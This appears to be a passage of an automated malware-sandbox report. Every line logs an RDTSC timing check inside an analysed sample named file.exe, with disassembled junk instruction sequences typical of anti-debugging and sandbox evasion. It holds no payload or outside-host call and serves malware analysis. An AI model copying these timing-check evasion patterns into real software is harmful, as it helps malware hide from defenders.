Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7158C4 second address: 715907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D8Bh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F89084F5D8Bh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F89084F5D91h 0x00000023 pushad 0x00000024 popad 0x00000025 push edi 0x00000026 pop edi 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766393 second address: 76639C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76639C second address: 7663A2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7663A2 second address: 7663A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766518 second address: 76651C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76651C second address: 766520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766520 second address: 766529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7667C5 second address: 7667C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7667C9 second address: 7667D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F89084F5D86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7667D7 second address: 7667DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7667DB second address: 7667EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F89084F5D86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7667EA second address: 7667FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F8908E69206h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768EE1 second address: 768EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768EEC second address: 768EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768EF0 second address: 768EF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D430 second address: 76D43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D43A second address: 76D43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D43E second address: 76D442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D442 second address: 76D44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D8CB second address: 76D8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D8D4 second address: 76D8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA4D second address: 76DA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA52 second address: 76DA57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA57 second address: 76DA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA5D second address: 76DA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F89084F5D97h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA7A second address: 76DA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D05F second address: 76D06D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D06D second address: 76D077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D077 second address: 76D07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D07B second address: 76D09E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8908E69218h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E27D second address: 76E283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E283 second address: 76E28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8908E69208h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E28F second address: 76E29F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D8Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E29F second address: 76E2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push edi 0x0000000a jmp 00007F8908E69214h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774026 second address: 774073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F89084F5D86h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jmp 00007F89084F5D90h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F89084F5D97h 0x0000001a jmp 00007F89084F5D96h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774073 second address: 774091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E69214h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F8908E69206h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B57 second address: 772B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F89084F5D92h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B72 second address: 772B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B78 second address: 772BBF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F89084F5D92h 0x00000008 jmp 00007F89084F5D8Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F89084F5D96h 0x00000016 jmp 00007F89084F5D99h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77310C second address: 773116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8908E69206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7738D2 second address: 7738DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7738DB second address: 7738E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DB9D second address: 77DBA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D696 second address: 77D6A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F8908E69206h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D6A8 second address: 77D6E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F89084F5D96h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F89084F5D8Ch 0x00000015 jmp 00007F89084F5D95h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D6E9 second address: 77D6EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D6EE second address: 77D6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D835 second address: 77D839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D839 second address: 77D892 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F89084F5D8Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F89084F5D8Bh 0x00000010 jnl 00007F89084F5D98h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F89084F5D88h 0x0000001f pushad 0x00000020 jmp 00007F89084F5D92h 0x00000025 jnl 00007F89084F5D86h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D892 second address: 77D897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D897 second address: 77D8A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8A8 second address: 77D8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8908E69206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78216D second address: 782171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782171 second address: 782175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782175 second address: 782181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A31 second address: 781A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8908E69206h 0x0000000a jnp 00007F8908E69206h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A42 second address: 781A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A4A second address: 781A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A4E second address: 781A80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Ah 0x00000007 jg 00007F89084F5D86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F89084F5D92h 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F89084F5D86h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A80 second address: 781A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A86 second address: 781A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787D61 second address: 787D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7868EE second address: 78690A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F89084F5D9Eh 0x00000008 jmp 00007F89084F5D92h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78690A second address: 78692C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E6920Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8908E6920Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78692C second address: 786930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786930 second address: 786936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786936 second address: 78693C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78693C second address: 786940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786A78 second address: 786A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F89084F5D97h 0x0000000f jns 00007F89084F5D86h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786A9F second address: 786AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786AA3 second address: 786AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F89084F5D8Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F89084F5D91h 0x00000015 jng 00007F89084F5D86h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786AD4 second address: 786ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786ADD second address: 786AED instructions: 0x00000000 rdtsc 0x00000002 jc 00007F89084F5D86h 0x00000008 jo 00007F89084F5D86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786AED second address: 786B18 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8908E6921Fh 0x00000008 jl 00007F8908E69206h 0x0000000e jmp 00007F8908E69213h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F8908E69206h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F6A second address: 786F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F6E second address: 786F94 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8908E6921Ah 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F8908E69212h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F8908E69206h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F94 second address: 786F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F98 second address: 786FCA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F8908E6920Eh 0x0000000f jl 00007F8908E69218h 0x00000015 jmp 00007F8908E69212h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786FCA second address: 786FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F89084F5D86h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787A50 second address: 787A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787A54 second address: 787A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F89084F5D88h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787A69 second address: 787A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787A6F second address: 787A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787A73 second address: 787A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E69210h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8908E69212h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AE70 second address: 78AE8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F89084F5D97h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B6BC second address: 78B6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B6C5 second address: 78B6CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B6CA second address: 78B6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnp 00007F8908E6922Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F8908E69206h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793D08 second address: 793D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F89084F5D97h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED6EF second address: 6ED6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED6F3 second address: 6ED701 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED701 second address: 6ED707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED707 second address: 6ED70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792289 second address: 792296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8908E69206h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792296 second address: 7922A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F89084F5D86h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7922A3 second address: 7922A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7925C5 second address: 7925C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7925C9 second address: 7925D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792874 second address: 792880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792880 second address: 79288A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8908E69206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79288A second address: 792894 instructions: 0x00000000 rdtsc 0x00000002 je 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
